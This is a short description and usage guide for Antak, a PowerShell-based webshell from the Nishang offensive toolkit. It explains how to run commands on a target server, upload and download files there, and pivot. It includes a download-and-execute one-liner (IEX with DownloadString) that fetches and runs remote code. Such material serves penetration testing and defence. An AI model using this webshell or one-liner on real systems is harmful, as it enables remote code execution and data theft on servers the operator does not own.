Antak WebShell – A webshell which utilizes PowerShell

Antak is a webshell written in C#.Net which utilizes powershell. Antak is a part of Nishang and updates could be found here: https://github.com/samratashok/nishang
Use this shell as a normal powershell console. Each command is executed in a new process, keep this in mind while using commands (like changing current directory or running session aware scripts).

Executing PowerShell scripts on the target –
  1. Paste the script in command textbox and click ‘Encode and Execute’. A reasonably large script could be executed using this.
  2. Use powershell one-liner (example below) for download & execute in the command box. IEX ((New-Object Net.WebClient).DownloadString(‘URL to script here’)); [Arguments here]
  3. By uploading the script to the target and executing it.
  4. Make the script a semi-colon separated one-liner.
Files can be uploaded and downloaded using the respective buttons.
Uploading a file – To upload a file you must mention the actual path on server (with write permissions) in command textbox. (OS temporary directory like C:WindowsTemp may be writable.) Then use Browse and Upload buttons to upload file to that path.
Downloading a file – To download a file enter the actual path on the server in command textbox. Then click on Download button.
Main Features:
  • Upload a file
  • Download a file
  • Executing Scripts
  • Remoting/Pivoting

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